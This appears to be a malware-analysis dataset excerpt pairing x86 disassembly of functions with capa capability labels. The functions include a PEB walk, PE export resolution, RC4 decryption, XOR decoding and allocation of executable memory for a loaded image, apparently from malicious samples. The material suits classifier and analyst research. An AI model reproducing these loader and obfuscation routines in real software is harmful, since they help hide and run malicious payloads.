joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017a6e
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [0x101e66a4], 0x1faa
cmp ecx, 0
sete dl
cmp eax, 0
sete dh
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov byte [ebp - 0x15], dl
mov byte [ebp - 0x16], dh
mov eax, 0xffffffff
mov cl, byte [ebp - 0x15]
mov dl, byte [ebp - 0x16]
and cl, dl
test cl, 1
mov dword [ebp - 0x1c], eax
jne 0x10017af3
jmp 0x10017afe
mov eax, dword [ebp - 0x20]
mov ecx, eax
add ecx, 0x24
mov edx, dword [eax + 0x28]
mov esi, dword [eax + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x21]
and bh, bl
test bh, 1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], esi
jne 0x10017bbe
jmp 0x10017b83
mov eax, dword [ebp - 0x1c]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x101e66a4], 0xb5f
mov ecx, dword fs:[0x18]
mov dword [0x101e66a4], 0x1c0a
mov eax, dword [0x101e66a8]
add eax, 0xfffff3de
mov dword [0x101e66a8], eax
mov dword [0x101e66a4], 0x1b72
mov eax, dword [ecx + 0x30]
mov eax, dword [eax + 0xc]
mov ecx, eax
add ecx, 0x14
mov dword [0x101e66a8], 0x110e
mov eax, dword [eax + 0x14]
mov dword [0x101e66a4], 0x2fb8
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
cmp ecx, edx
mov dword [ebp - 0x1c], eax
je 0x10017af3
jmp 0x10017ba5
mov dword [0x101e66a4], 0x1004
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
jmp 0x10017af3
xor eax, eax
mov ecx, dword [ebp - 0x2c]
mov dx, word [ecx]
shr dx, 1
movzx esi, dx
cmp dx, 0
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], eax
je 0x10017c4f
jmp 0x10017bd8
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov edx, dword [ebp - 0x3c]
mov byte [ebp - 0x21], cl
mov dword [ebp - 0x20], edx
jmp 0x10017abb
mov dword [0x101e66a4], 0x1b27
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff8
mov dword [ebp - 0x1c], eax
jmp 0x10017af3
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x30]
mov dx, word [ecx + eax*2]
mov si, dx
add si, 0xffbf
mov di, dx
add di, 0x20
cmp si, 0x1a
mov dword [ebp - 0x48], eax
mov word [ebp - 0x4a], dx
mov word [ebp - 0x4c], di
jb 0x10017c0c
mov ax, word [ebp - 0x4a]
mov word [ebp - 0x4c], ax
mov ax, word [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x48]
cmp word [ecx + edx*2], ax
sete bl
add edx, 1
cmp ax, 0
setne bh
mov al, bl
and al, bh
mov esi, dword [ebp - 0x40]
cmp edx, esi
setb bh
and al, bh
test al, 1
mov byte [ebp - 0x4d], bl
mov dword [ebp - 0x44], edx
jne 0x10017bd8
mov al, byte [ebp - 0x4d]
test al, 1
jne 0x10017b6e
jmp 0x10017c4f
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38]
cmp ecx, edx
mov dword [ebp - 0x20], ecx
jne 0x10017abb
mov dword [0x101e66a4], 0x2332
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10017af3
Function at 0x10017d9a
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x2c
mov dword [0x101e66a4], 0xfd3
mov dword [ebp - 8], 0
mov dword [0x101e66a8], 0x1ea7
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], eax
jmp 0x10017e2f
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [0x101e66a4], eax
mov eax, ecx
add esp, 0x2c
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov dx, word [eax + ecx*2 - 0x12]
mov word [ebp - 0x26], dx
mov ax, word [ebp - 0x26]
cmp ax, 0x64
je 0x10017ea6
jmp 0x10017ee2
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x10017df9
jmp 0x10017ee2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], edx
je 0x10017e66
mov dword [0x101e66a4], 0xd15
mov eax, dword [ebp - 0x2c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x30], eax
jl 0x10017e2f
mov eax, dword [ebp - 0x30]
mov dword [0x101e66a8], 0x10a8
mov ecx, dword [ebp - 0x14]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x24], eax
jne 0x10017ee2
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10017ee2
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x10017e1b
jmp 0x10017ee2
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10017ee2
mov eax, 1
mov ecx, 0x186
mov dword [0x101e66a4], 0x830
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x24]
cmp word [edx + esi*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
je 0x10017de6
xor eax, eax
mov ecx, dword [0x101e66a4]
add ecx, 0xffffe7c5
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
jmp 0x10017de6
Function at 0x10017efb
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov dword [0x101e66a4], 0x1a27
call fcn.10001081
mov dword [esp + 0x34], eax
xor eax, eax
mov ecx, dword [esp + 0x34]
cmp ecx, 0
mov dword [esp + 0x30], eax
je 0x10017fcf
jmp 0x10017fc4
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.1001829a
lea ecx, [esp + 0x48]
mov edx, dword [esp + 0x38]
mov dword [esp + 0x78], edx
add ecx, 0x38
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
lea eax, [0x10017d4e]
mov ecx, dword [esp + 0x28]
mov dword [ecx], 0x126200
mov edx, dword [0x101e6690]
mov dword [esp + 0x4c], edx
mov edx, dword [0x101e6694]
mov dword [esp + 0x94], edx
mov edx, dword [0x101e6698]
mov dword [esp + 0x50], edx
mov edx, dword [0x101e669c]
mov dword [esp + 0x5c], edx
mov edx, dword [0x101e66a0]
mov dword [esp + 0x7c], edx
mov edx, dword [0x101e66a8]
add edx, 0xbce
mov dword [0x101e66a8], edx
mov dword [0x101e66a4], 0x1ca7
mov dword [esp + 0x24], eax
jmp 0x10017ffc
mov eax, dword [esp + 0x30]
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
lea eax, [esp + 0x48]
mov dword [0x101e66a4], 0x1caf
mov dword [esp + 0x20], eax
call fcn.10017d9a
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
je 0x10017f37
jmp 0x100180aa
mov eax, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
jne 0x10018028
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
mov edx, dword [eax + ecx]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
cmp eax, 0x4550
je 0x1001803c
mov eax, dword [esp + 0x18]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x24], eax
jmp 0x10017ffc
lea eax, [esp + 0x48]
add eax, 0x24
mov dword [esp + 0xc], eax
lea eax, [esp + 0x48]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x18]
mov dword [ecx], edx
mov dword [0x101e66a8], 0x1d17
mov dword [0x101e66a4], 0x1add
mov esi, dword [esp + 0x14]
mov edi, dword [edx + esi + 0x50]
mov dword [esp + 0x88], edi
mov edi, dword [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.10018804
mov ecx, esp
lea edx, [esp + 0x48]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x101e66a4], 0x4dd
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x30], eax
jmp 0x10017fc4
Function at 0x1001829a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x101e66a8], 0x1cc8
mov dword [0x101e66a4], 0x35
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x130
mov edi, edx
add edi, esi
add edi, 0x12c
mov esi, dword [edi]
imul edi, eax, 0x130
add edx, edi
add edx, 0x12a
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x413
mov ecx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x100182d3
mov dword [0x101e66a4], 0xb48
xor eax, eax
mov dword [ebp - 0x140], eax
jmp 0x10018340
mov eax, dword [ebp - 0x140]
mov cl, byte [eax + 0x101955bb]
mov dl, byte [eax + 0x1019558c]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x140], eax
jne 0x10018340
lea eax, [ebp - 0x12c]
mov dword [0x101e66a4], 0x8dc
mov dword [ebp - 0x144], eax
call fcn.10018f14
mov dword [esp], eax
mov eax, dword [ebp - 0x144]
mov dword [esp + 4], eax
call fcn.10018a7f
mov ecx, eax
mov dword [0x101e66c4], eax
mov eax, esp
mov edx, dword [ebp - 0x13c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov dword [0x101e66a4], 0x2b5
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
imul esi, eax, 0x130
mov edi, edx
add edi, esi
add edi, 0x12c
mov esi, dword [edi]
imul edi, eax, 0x130
mov ebx, edx
add ebx, edi
add ebx, 0x120
mov edi, dword [ebx]
imul ebx, eax, 0x130
add edx, ebx
add edx, 0x12a
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.10018fc8
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
add edx, 1
cmp edx, 0x413
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], edx
jne 0x100183e7
lea eax, [0x1019559a]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [0x101e66a4], 0x1c76
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.10018d41
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.100190e0
xor eax, eax
mov ecx, dword [ebp - 0x148]
add ecx, 0x4ab78
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x126200
mov ecx, dword [ebp - 0x148]
add ecx, 0x4025b
mov dword [edx + 8], ecx
mov ecx, dword [0x101e66a4]
add ecx, 0x5e6
mov dword [0x101e66a4], ecx
mov dword [edx + 0xc], 0x1f40
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1001853d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 8]
mov ecx, dword [0x101e66a4]
add ecx, 0x3dd4
mov dword [0x101e66a4], ecx
mov dword [ebp - 0x10], eax
call fcn.10018bdf
mov ecx, eax
mov dword [0x101e66a8], 0x1d17
mov edx, dword [eax + 0x3c]
mov edx, dword [eax + edx + 0x78]
mov esi, ecx
add esi, dword [eax + edx + 0x20]
mov dword [0x101e66a4], 0x2b11
mov eax, dword [eax + edx + 0x18]
cmp eax, 0
sete bl
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x21], bl
xor eax, eax
mov cl, byte [ebp - 0x21]
test cl, 1
mov dword [ebp - 0x28], eax
jne 0x100186d5
jmp 0x1001865f
mov eax, dword [ebp - 0x2c]
mov ecx, eax
mov edx, dword [ebp - 0x30]
add ecx, edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], bh
mov byte [ebp - 0x36], cl
je 0x10018625
jmp 0x1001869e
mov eax, dword [ebp - 0x3c]
movzx ecx, word [eax]
mov dword [0x101e66a4], 0x117f
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
add edx, dword [edx + esi + 0x1c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [eax + ecx*4]
mov dword [0x101e66a8], 0xeac
mov esi, dword [ebp - 0x18]
add esi, edx
mov dword [ebp - 0x28], esi
jmp 0x100186d5
mov al, byte [ebp - 0x36]
test al, 1
jne 0x100185e5
jmp 0x1001862e
mov eax, dword [ebp - 0x3c]
add eax, 2
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], ecx
xor eax, eax
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x20]
cmp ecx, edx
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x28], eax
jb 0x1001867f
jmp 0x100186d5
mov eax, dword [ebp - 0x1c]
add eax, 0x24
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov dword [ebp - 0x5c], ecx
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x5c]
add ecx, dword [edx]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x58]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edx
jmp 0x100185b7
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x60], eax
mov al, byte [ebp - 0x35]
cmp al, 0
setne cl
mov dl, byte [ebp - 0x36]
and dl, cl
mov esi, dword [ebp - 0x60]
cmp esi, 0x20
setb cl
and dl, cl
test dl, 1
mov dword [ebp - 0x2c], esi
jne 0x100185b7
jmp 0x10018625
mov eax, dword [ebp - 0x28]
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10018804
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x101e66a4], 0xb48
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x101955bb]
mov dl, byte [eax + 0x1019558c]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x10018825
lea eax, [ebp - 0x20]
mov dword [0x101e66a8], 0xe1d
mov dword [0x101e66a4], 0x8dc
mov dword [ebp - 0x30], eax
call fcn.10018f14
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
mov dword [esp + 4], ecx
call fcn.10018a7f
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
je 0x1001893c
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.100180dc
mov eax, dword [ebp - 0x40]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
mov ecx, dword [0x101e66a8]
add ecx, 0xfffff997
mov dword [0x101e66a8], ecx
mov dword [eax + 0xc0], 0x4550
add eax, 0xffc00000
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 0x18], eax
xor eax, eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x40]
mov dword [ecx + 0x48], edx
mov dword [0x101e66a4], 0x1994
cmp edx, 0
mov dword [ebp - 0x3c], eax
je 0x1001893c
mov eax, dword [ebp - 0x40]
add eax, 0x1c2f
mov dword [0x101e66a4], 0x11
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x3c], eax
jmp 0x1001893c
mov eax, dword [ebp - 0x3c]
add esp, 0x54
pop ebp
ret
Function at 0x10018d41
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x101e66b0], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov byte [0x101e66b4], 0
mov dword [0x101e66ac], 0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [0x101e66a4], 0x21a
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101e66a4]
mov esi, eax
add esi, 0xfffff207
mov dword [0x101e66a4], esi
mov esi, dword [0x101e66ac]
add esi, 1
mov dword [0x101e66ac], esi
cmp esi, 0x100
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
jl 0x10018d7c
jmp 0x10018e9b
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov edx, 0x720
mov esi, 0x100
mov dword [0x101e66b8], 0
mov dword [0x101e66a4], eax
mov edi, dword [0x101e66b0]
mov ebx, dword [ebp - 0x18]
movzx ebx, byte [ebx + ecx]
add ebx, edi
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor edi, edi
mov dword [ebp - 0x30], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add ebx, edx
mov dword [0x101e66b8], ebx
mov edx, dword [ebp - 0x2c]
add edx, 0xffffc0a2
mov dword [0x101e66a4], edx
mov eax, ebx
cdq
idiv esi
mov dword [0x101e66b0], edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov byte [0x101e66b4], bl
mov dword [0x101e66a4], 0x1466
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov dword [0x101e66a8], 0x17f9
mov bl, byte [0x101e66b4]
mov ecx, dword [0x101e66b0]
mov byte [esi + ecx], bl
mov dword [0x101e66a4], 0x109b
mov ecx, dword [0x101e66ac]
add ecx, 1
mov dword [0x101e66ac], ecx
cmp ecx, 0x100
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
jl 0x10018dcb
jmp 0x10018ec0
mov eax, dword [ebp - 0x20]
add eax, 0xffffe88c
mov dword [0x101e66ac], 0
mov dword [ebp - 0x34], eax
xor eax, eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
jmp 0x10018dcb
mov dword [0x101e66a4], 0xc04
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100190e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x101e66ac], 0
mov dword [0x101e66b0], 0
mov dword [0x101e66bc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, 0x3607
xor ecx, ecx
mov dword [0x101e66a4], 0x1cbd
mov dword [0x101e66a8], 0x2701
mov edx, dword [ebp - 0x10]
cmp edx, 0
mov esi, ecx
mov edi, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], eax
je 0x10019225
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, 0x100
mov edi, ecx
add edi, 1
add edx, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv esi
mov dword [0x101e66ac], edx
mov ebx, dword [ebp - 0x1c]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x101e66b0], edx
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x101e66b4], cl
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov dword [0x101e66a4], 0x47
mov cl, byte [0x101e66b4]
mov edx, dword [0x101e66b0]
mov byte [ebx + edx], cl
mov edx, dword [0x101e66ac]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101e66b0]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101e66bc], ecx
mov dword [0x101e66a4], 0x23b5
mov dword [0x101e66a8], 0x1762
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x34]
mov dl, byte [edx + esi]
xor dl, byte [ebx + ecx]
mov ecx, dword [ebp - 0x18]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x3c], edi
je 0x10019235
jmp 0x10019244
mov eax, dword [ebp - 0x2c]
mov dword [0x101e66a4], eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x101e66a4]
add eax, 0x194a
mov dword [ebp - 0x2c], eax
jmp 0x10019225
mov eax, dword [0x101e66ac]
mov ecx, dword [0x101e66b0]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], ecx
jmp 0x10019159
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
mov bl, byte [eax]
cmp bl, 0xd8
je 0x40102e
cmp bl, 0xd7
je 0x40102e
mov esi, dword [ebp + 0x10]
lea ecx, [eax + 1]
test esi, esi
jle 0x40104f
mov eax, dword [ebp + 0xc]
sub ecx, eax
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec esi
jne 0x401023
jmp 0x40104f
mov esi, dword [ebp + 0xc]
inc eax
push esi
push eax
call fcn.00401980
cmp bl, 0xd8
jne 0x40104f
xor eax, eax
cmp dword [ebp + 0x10], eax
jle 0x40104f
xor byte [eax + esi], 0xf0
inc eax
cmp eax, dword [ebp + 0x10]
jl 0x401045
pop esi
pop ebx
pop ebp
ret

Function at 0xa44200
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
mov bl, byte [eax]
cmp bl, 0xd8
je 0xa4422e
cmp bl, 0xd7
je 0xa4422e
mov esi, dword [ebp + 0x10]
lea ecx, [eax + 1]
test esi, esi
jle 0xa4424f
mov eax, dword [ebp + 0xc]
sub ecx, eax
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec esi
jne 0xa44223
jmp 0xa4424f
mov esi, dword [ebp + 0xc]
inc eax
push esi
push eax
call fcn.00a44b80
cmp bl, 0xd8
jne 0xa4424f
xor eax, eax
cmp dword [ebp + 0x10], eax
jle 0xa4424f
xor byte [eax + esi], 0xf0
inc eax
cmp eax, dword [ebp + 0x10]
jl 0xa44245
pop esi
pop ebx
pop ebp
ret

Function at 0xa45000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
mov bl, byte [eax]
cmp bl, 0xd8
je 0xa4502e
cmp bl, 0xd7
je 0xa4502e
mov esi, dword [ebp + 0x10]
lea ecx, [eax + 1]
test esi, esi
jle 0xa4504f
mov eax, dword [ebp + 0xc]
sub ecx, eax
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec esi
jne 0xa45023
jmp 0xa4504f
mov esi, dword [ebp + 0xc]
inc eax
push esi
push eax
call fcn.00a45980
cmp bl, 0xd8
jne 0xa4504f
xor eax, eax
cmp dword [ebp + 0x10], eax
jle 0xa4504f
xor byte [eax + esi], 0xf0
inc eax
cmp eax, dword [ebp + 0x10]
jl 0xa45045
pop esi
pop ebx
pop ebp
ret
Function at 0x1002346
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, 0x100122c
push ebx
call fcn.010022ec
test eax, eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
je 0x10023bb
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push eax
call esi
push dword [ebp + 8]
mov edi, eax
call esi
add edi, eax
lea eax, [edi + edi + 4]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x10023b9
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1001228
push edi
call esi
mov eax, dword [ebp + 0xc]
push dword [eax]
push edi
call esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret 8